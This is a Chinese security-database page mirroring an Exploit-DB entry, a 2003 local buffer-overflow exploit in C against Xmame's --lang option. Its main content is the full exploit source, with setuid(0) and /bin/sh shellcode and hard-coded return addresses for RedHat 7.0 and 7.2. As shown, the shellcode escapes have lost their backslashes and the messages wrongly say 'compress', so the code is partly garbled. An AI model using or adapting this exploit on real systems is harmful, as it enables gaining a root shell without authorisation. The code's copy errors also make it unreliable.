XMame 0.6x – Lang Local Buffer Overflow

XMame 0.6x – Lang Local Buffer Overflow

漏洞ID 1053798 漏洞类型
发布时间 2003-03-31 更新时间 2003-03-31
图片[1]-XMame 0.6x – Lang Local Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-XMame 0.6x – Lang Local Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22703
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7773/info

Xmame is prone to a locally exploitable buffer overflow. This is due to insufficient bounds checking of the command line parameter used to specify language settings (--lang). Successful exploitation on some systems could result in execution of malicious instructions with elevated privileges. 

/*
---------------------------------------------------------------------------
Web:  http://qb0x.net                   Author: Gabriel A. Maggiotti
Date: March 31, 2003  	                E-mail: [email protected]
---------------------------------------------------------------------------
*/

#include <stdio.h>

#define OFFSET 1058
#define NOP 0x90 
#define NOP1 'B' 
#define RET_70 0xbfffee00  
#define RET_72 0xbfffedf0  

int
main(int argc, char *argv[])
{
int i=0; char buf[OFFSET];
int c, ret;

unsigned char shellcode1[] =
"x33xDBx33xC0xB0x1BxCDx80" // alarm(0);
"x31xdbx89xd8xb0x17xcdx80" // setuid(0);
"x31xc0x50x50xb0xb5xcdx80" // setgid(0);
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";


	if(argc != 2) {
		fprintf(stderr,"usage: %s <os_type> n",argv[0]);
		fprintf(stderr,"types:n RedHat 7.0 - [1]");
		fprintf(stderr,"n RedHat 7.2 - [2]nn");
		return 1;
	}
	
	c=atoi(argv[1]);

	switch(c) {
		case 1:
			printf("Exploiting compress for RedHat 7.0n");
			ret = RET_70 - OFFSET;
			break;	
		case 2:
			printf("Exploiting compress for RedHat 7.2n");
			ret = RET_72 - OFFSET;
			break;	
	}

	for(i=0;i<=OFFSET-1 ;i++)
		buf[i]=NOP;
	for(i=OFFSET-301;i<=OFFSET-1 ;i+=4)
	*(int *) &buf[i++] = ret;
	memcpy(buf+200,shellcode1,strlen(shellcode1));
	execl("/usr/local/bin/xmame.x11", "/usr/local/bin/xmame.x11","--lang", buf, NULL);

return 0;
}

/*
---------------------------------------------------------------------------
[email protected] is dedicated to interactively researching vulnerab-
ilities, report potential or undeveloped holes in any kind of computer system.
To  subscribe to   [email protected] t send a blank  email  to 
[email protected]. More help  available  sending an email
to [email protected].
Note: the list doesn't allow html, it will be stripped from messages. 
---------------------------------------------------------------------------
*/

相关推荐: TCP端口欺骗攻击漏洞

TCP端口欺骗攻击漏洞 漏洞ID 1207514 漏洞类型 未知 发布时间 1997-07-01 更新时间 1997-07-01 CVE编号 CVE-1999-0074 CNNVD-ID CNNVD-199707-012 漏洞平台 N/A CVSS评分 6.4…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享